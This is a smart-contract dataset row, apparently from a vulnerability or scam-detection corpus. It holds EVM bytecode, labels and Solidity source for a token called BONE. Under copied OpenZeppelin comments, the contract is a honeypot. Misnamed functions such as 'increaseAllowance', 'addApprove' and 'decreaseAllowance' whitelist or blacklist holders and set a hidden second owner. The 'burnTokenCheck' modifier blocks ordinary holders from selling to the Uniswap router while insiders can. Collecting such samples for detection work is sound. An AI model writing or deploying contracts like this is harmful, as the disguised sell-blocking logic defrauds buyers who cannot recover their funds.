8873ffffffffffffffffffffffffffffffffffffffff166399fbab8860e01b85604051602401610d6791906119e4565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610dd191906117ea565b600060405180830381855afa9150503d8060008114610e0c576040519150601f19603f3d011682016040523d82523d6000602084013e610e11565b606091505b509150915081610e56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4d90611980565b60405180910390fd5b600080600083806020019051810190610e6f919061155b565b5050509450945094505050610f6073c36442b4a4522e871399cd717abdd847ab11fe8873ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ed757600080fd5b505afa158015610eeb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0f9190611351565b60405180606001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018462ffffff16815250611124565b95505050505050919050565b731f98407aab862cddef78ed252d6f557aa5b0f00d73ffffffffffffffffffffffffffffffffffffffff1663f2d2909b82846040518363ffffffff1660e01b8152600401610fbb9291906119bb565b600060405180830381600087803b158015610fd557600080fd5b505af1158015610fe9573d6000803e3d6000fd5b505050505050565b6000731f98407aab862cddef78ed252d6f557aa5b0f00d73ffffffffffffffffffffffffffffffffffffffff16632f2d783d8585856040518463ffffffff1660e01b8152600401611044939291906118f0565b602060405180830381600087803b15801561105e57600080fd5b505af1158015611072573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109691906114f6565b90509392505050565b731f98407aab862cddef78ed252d6f557aa5b0f00d73ffffffffffffffffffffffffffffffffffffffff1663f549ab4283836040518363ffffffff1660e01b81526004016110ee9291906119bb565b600060405180830381600087803b15801561110857600080fd5b505af115801561111c573d6000803e3d6000fd5b505050505050565b6000816020015173ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff161061116657600080fd5b82826000015183602001518460400151604051602001808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018262ffffff1681526020019350505050604051602081830303815290604052805190602001207fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460001b60405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018473ffffffffffffffffffffffffffffffffffffffff1660601b815260140183815260200182815260200193505050506040516020818303038152906040528051906020012060001c905092915050565b60008135905061128e81611c10565b92915050565b6000815190506112a381611c10565b92915050565b6000815190506112b881611c27565b92915050565b6000815190506112cd81611c3e565b92915050565b6000815190506112e281611c55565b92915050565b6000815190506112f781611c6c565b92915050565b60008151905061130c81611c83565b92915050565b60008135905061132181611c9a565b92915050565b60008151905061133681611c9a565b92915050565b60008151905061134b81611cb1565b92915050565b60006020828403121561136357600080fd5b600061137184828501611294565b91505092915050565b6000806040838503121561138d57600080fd5b600061139b8582860161127f565b92505060206113ac85828601611312565b9150509250929050565b600080600080600060a086880312156113ce57600080fd5b60006113dc8882890161127f565b95505060206113ed88828901611312565b94505060406113fe8882890161127f565b935050606061140f8882890161127f565b925050608061142088828901611312565b9150509295509295909350565b600080600080600060a0868803121561144557600080fd5b60006114538882890161127f565b955050602061146488828901611312565b945050604061147588828901611312565b93505060606114868882890161127f565b925050608061149788828901611312565b9150509295509295909350565b6000602082840312156114b657600080fd5b60006114c4848285016112be565b91505092915050565b6000602082840312156114df57600080fd5b60006114ed84828501611312565b91505092915050565b60006020828403121561150857600080fd5b600061151684828501611327565b91505092915050565b6000806040838503121561153257600080fd5b600061154085828601611312565b92505060206115518582860161127f565b9150509250929050565b600080600080600080600080610100898b03121561157857600080fd5b60006115868b828c0161133c565b98505060206115978b828c016112a9565b97505060406115a88b828c016112a9565b96505060606115b98b828c016112a9565b95505060806115ca8b828c016112fd565b94505060a06115db8b828c016112d3565b93505060c06115ec8b828c016112d3565b92505060e06115fd8b828c016112e8565b9150509295985092959890939650565b61161681611ad0565b82525050565b61162581611ad0565b82525050565b61163481611b00565b82525050565b600061164582611a8d565b61164f8185611aa3565b935061165f818560208601611bcc565b61166881611bff565b840191505092915050565b600061167e82611a8d565b6116888185611ab4565b9350611698818560208601611bcc565b80840191505092915050565b6116ad81611b84565b82525050565b6116bc81611b84565b82525050565b6116cb81611ba8565b82525050565b60006116dc82611a98565b6116e68185611abf565b93506116f6818560208601611bcc565b6116ff81611bff565b840191505092915050565b6000611717601983611abf565b91507f6665746368696e6720706f736974696f6e73206661696c6564000000000000006000830152602082019050919050565b6000611757600083611aa3565b9150600082019050919050565b60a08201600082015161177a60008501826116a4565b50602082015161178d60208501826116c2565b5060408201516117a060408501826117cc565b5060608201516117b360608501826117cc565b5060808201516117c6608085018261160d565b50505050565b6117d581611b62565b82525050565b6117e481611b62565b82525050565b60006117f68284611673565b915081905092915050565b6000602082019050611816600083018461161c565b92915050565b6000608082019050611831600083018661161c565b61183e602083018561161c565b61184b60408301846117db565b818103606083015261185c8161174a565b9050949350505050565b600060408201905061187b600083018561161c565b61188860208301846117db565b9392505050565b600060c0820190506118a4600083018961162b565b6118b1602083018861161c565b6118be604083018761161c565b6118cb60608301866117db565b6118d860808301856117db565b6118e560a08301846117db565b979650505050505050565b600060608201905061190560008301866116b3565b611912602083018561161c565b61191f60408301846117db565b949350505050565b6000602082019050818103600083015261194181846116d1565b905092915050565b6000604082019050818103600083015261196381856116d1565b90508181036020830152611977818461163a565b90509392505050565b600060208201905081810360008301526119998161170a565b9050919050565b600060a0820190506119b56000830184611764565b92915050565b600060c0820190506119d06000830185611764565b6119dd60a08301846117db565b9392505050565b60006020820190506119f960008301846117db565b92915050565b6000604082019050611a1460008301856117db565b611a21602083018461161c565b9392505050565b6000606082019050611a3d60008301856117db565b611a4a602083018461161c565b8181036040830152611a5b8161174a565b90509392505050565b6000604082019050611a7960008301856117db565b611a86602083018461162b565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000611adb82611b33565b9050919050565b6000611aed82611b33565b9050919050565b60008115159050919050565b6000819050919050565b60008160020b9050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062ffffff82169050919050565b6000819050919050565b60006bffffffffffffffffffffffff82169050919050565b6000611b8f82611b96565b9050919050565b6000611ba182611b33565b9050919050565b6000611bb382611bba565b9050919050565b6000611bc582611b33565b9050919050565b60005b83811015611bea578082015181840152602081019050611bcf565b83811115611bf9576000848401525b50505050565b6000601f19601f8301169050919050565b611c1981611ad0565b8114611c2457600080fd5b50565b611c3081611ae2565b8114611c3b57600080fd5b50565b611c4781611af4565b8114611c5257600080fd5b50565b611c5e81611b0a565b8114611c6957600080fd5b50565b611c7581611b17565b8114611c8057600080fd5b50565b611c8c81611b53565b8114611c9757600080fd5b50565b611ca381611b62565b8114611cae57600080fd5b50565b611cba81611b6c565b8114611cc557600080fd5b5056fe4c6f674465706f7369745472616e736665722875696e743235362c61646472657373294c6f67496e63656e746976654372656174656428627974657333322c616464726573732c616464726573732c75696e743235362c75696e743235362c75696e74323536294c6f674465706f736974416e645374616b652875696e743235362c62797465733332294c6f67526577617264436c61696d656428616464726573732c75696e7432353629a2646970667358221220f6b37224b08e71ecd58f89a968a7904c3b51f2619f63c34187f3131276316d2f64736f6c63430007060033 | [
5,
17
] |
0xf33277f6c5310bc926b03b8bdab79dcbcb7fda9e | pragma solidity ^0.6.6;
/**
*
*
____ __ __ _ ____
( _ \ / \ ( ( \( __)
) _ (( O )/ / ) _)
(____/ \__/ \_)__)(____)
*/
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract BONE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610472578063b2bdfa7b1461049e578063dd62ed3e146104c2578063e1268115146104f0576100f5565b806352b0f196146102f457806370a082311461041e57806380b2122e1461044457806395d89b411461046a576100f5565b806318160ddd116100d357806318160ddd1461025a57806323b872dd14610274578063313ce567146102aa5780634e6ec247146102c8576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610591945050505050565b005b6101a5610686565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b03813516906020013561071c565b604080519115158252519081900360200190f35b610262610739565b60408051918252519081900360200190f35b6102466004803603606081101561028a57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b6102b26107c6565b6040805160ff9092168252519081900360200190f35b61019b600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356107cf565b61019b6004803603606081101561030a57600080fd5b81359190810190604081016020820135600160201b81111561032b57600080fd5b82018360208201111561033d57600080fd5b803590602001918460208302840111600160201b8311171561035e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111600160201b831117156103e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108bf945050505050565b6102626004803603602081101561043457600080fd5b50356001600160a01b03166109d8565b61019b6004803603602081101561045a57600080fd5b50356001600160a01b03166109f3565b6101a5610a5d565b6102466004803603604081101561048857600080fd5b506001600160a01b038135169060200135610abe565b6104a6610ad2565b604080516001600160a01b039092168252519081900360200190f35b610262600480360360408110156104d857600080fd5b506001600160a01b0381358116916020013516610ae1565b61019b6004803603602081101561050657600080fd5b810190602081018135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460208302840111600160201b8311171561055357600080fd5b91908